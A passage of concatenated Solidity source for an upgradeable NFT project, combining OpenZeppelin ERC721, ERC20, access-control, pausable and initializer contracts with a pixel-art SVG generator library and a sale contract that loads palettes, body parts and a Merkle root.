internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal onlyInitializing { } function __AccessControlEnumerable_init_unchained() internal onlyInitializing { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view virtual override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view virtual override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; import { Base64 } from 'base64-sol/base64.sol'; library GenerateSVG { struct SVGParams { bytes[] parts; string background; } struct ContentBounds { uint8 y1; uint8 x2; uint8 y2; uint8 x1; } struct Rect { uint8 length; uint8 colorIndex; } struct DecodedImage { uint8 paletteIndex; ContentBounds bounds; Rect[] rects; } struct TokenURIParams { bytes[] parts; string background; } function constructTokenURI(TokenURIParams memory params, mapping(uint8 => string[]) storage palettes) public view returns (string memory) { string memory image = generateSVGImage( SVGParams({ parts: params.parts, background: params.background }), palettes ); // prettier-ignore return string( abi.encodePacked( 'data:image/svg+xml;base64,', image ) ); } function generateSVG(SVGParams memory params, mapping(uint8 => string[]) storage palettes) internal view returns (string memory svg) { // prettier-ignore return string( abi.encodePacked( '<svg width="320" height="320" viewBox="0 0 320 320" xmlns="http://www.w3.org/2000/svg" shape-rendering="crispEdges">', '<rect width="100%" height="100%" fill="#', params.background, '" />', _generateSVGRects(params, palettes), '</svg>' ) ); } function _generateSVGRects(SVGParams memory params, mapping(uint8 => string[]) storage palettes) private view returns (string memory svg) { string[33] memory lookup = [ '0', '10', '20', '30', '40', '50', '60', '70', '80', '90', '100', '110', '120', '130', '140', '150', '160', '170', '180', '190', '200', '210', '220', '230', '240', '250', '260', '270', '280', '290', '300', '310', '320' ]; string memory rects; for (uint8 p = 0; p < params.parts.length; p++) { DecodedImage memory image = _decodeRLEImage(params.parts[p]); string[] storage palette = palettes[image.paletteIndex]; uint256 currentX = image.bounds.x1; uint256 currentY = image.bounds.y1; string memory part; for (uint256 i = 0; i < image.rects.length; i++) { Rect memory rect = image.rects[i]; if (rect.colorIndex != 0) { part = string( abi.encodePacked( part, '<rect width="', lookup[rect.length], '" height="10" x="', lookup[32 - currentX - rect.length], '" y="', lookup[currentY], '" fill="#', palette[rect.colorIndex], '" />' ) ); } currentX += rect.length; if (currentX == image.bounds.x2) { currentX = image.bounds.x1; currentY++; } } rects = string(abi.encodePacked(rects, part)); } return rects; } function _decodeRLEImage(bytes memory image) private pure returns (DecodedImage memory) { uint8 paletteIndex = uint8(image[0]); ContentBounds memory bounds = ContentBounds({ y1: uint8(image[1]), x2: uint8(image[2]), y2: uint8(image[3]), x1: uint8(image[4]) }); uint256 cursor; Rect[] memory rects = new Rect[]((image.length - 5) / 2); for (uint256 i = 5; i < image.length; i += 2) { rects[cursor] = Rect({ length: uint8(image[i]), colorIndex: uint8(image[i + 1]) }); cursor++; } return DecodedImage({ paletteIndex: paletteIndex, bounds: bounds, rects: rects }); } function generateSVGImage(SVGParams memory params, mapping(uint8 => string[]) storage palettes) private view returns (string memory svg) { return Base64.encode(bytes(generateSVG(params, palettes))); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; interface IWETH { function deposit() external payable; function withdraw(uint256 wad) external; function transfer(address to, uint256 value) external returns (bool); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; contract Config is AccessControlEnumerableUpgradeable { address weth; address vault; uint public salePrice; uint public publicSaleNum; bytes32 public merkleRoot; uint public maxPublicSaleNum; CountersUpgradeable.Counter internal _index; mapping(address => bool) public claimedMap; mapping(uint8 => string[]) public palettes; string[] public backgrounds; bytes[] public accessories; bytes[] public bodies; bytes[] public glasses; bytes[] public heads; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; import { Config } from "./Config.sol"; contract BaseContract is OwnableUpgradeable, PausableUpgradeable, ERC721Upgradeable, Config { using CountersUpgradeable for CountersUpgradeable.Counter; function initialize( address _vault, address _weth, string memory _name, string memory _symbol, uint _salePrice, uint _maxPublicSaleNum ) virtual initializer public { weth = _weth; vault = _vault; salePrice = _salePrice; maxPublicSaleNum = _maxPublicSaleNum; _grantRole(DEFAULT_ADMIN_ROLE, _msgSender()); __ERC721_init(_name, _symbol); __Pausable_init(); __Ownable_init(); } modifier isNotReachGoal { require(publicSaleNum <= 9000, "is reach goal"); _; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function addManyColorsToPalette(uint8 paletteIndex, string[] calldata newColors) public onlyOwner { require(palettes[paletteIndex].length + newColors.length <= 256, 'Palettes can only hold 256 colors'); for (uint256 i = 0; i < newColors.length; i++) { palettes[paletteIndex].push(newColors[i]); } } function addManyBackgrounds(string[] calldata _backgrounds) public onlyOwner { for (uint256 i = 0; i < _backgrounds.length; i++) { backgrounds.push(_backgrounds[i]); } } function addManyBodies(bytes[] calldata _bodies) public onlyOwner { for (uint256 i = 0; i < _bodies.length; i++) { bodies.push(_bodies[i]); } } function addManyAccessories(bytes[] calldata _accessories) public onlyOwner { for (uint256 i = 0; i < _accessories.length; i++) { accessories.push(_accessories[i]); } } function addManyHeads(bytes[] calldata _heads) public onlyOwner { for (uint256 i = 0; i < _heads.length; i++) { heads.push(_heads[i]); } } function addManyGlasses(bytes[] calldata _glasses) public onlyOwner { for (uint256 i = 0; i < _glasses.length; i++) { glasses.push(_glasses[i]); } } function backgroundCount() public view returns (uint256) { return backgrounds.length; } function bodyCount() public view returns (uint256) { return bodies.length; } function accessoryCount() public view returns (uint256) { return accessories.length; } function headCount() public view returns (uint256) { return heads.length; } function glassesCount() public view returns (uint256) { return glasses.length; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable, AccessControlEnumerableUpgradeable) returns(bool) { return super.supportsInterface(interfaceId); } event MerkleRootChanged(bytes32 root); function setMerkleRoot(bytes32 _root) public onlyOwner { require(merkleRoot == bytes32(0), "Merkle root already set"); merkleRoot = _root; emit MerkleRootChanged(_root); } function getId() internal returns(uint) { _index.increment(); return _index.current(); } }
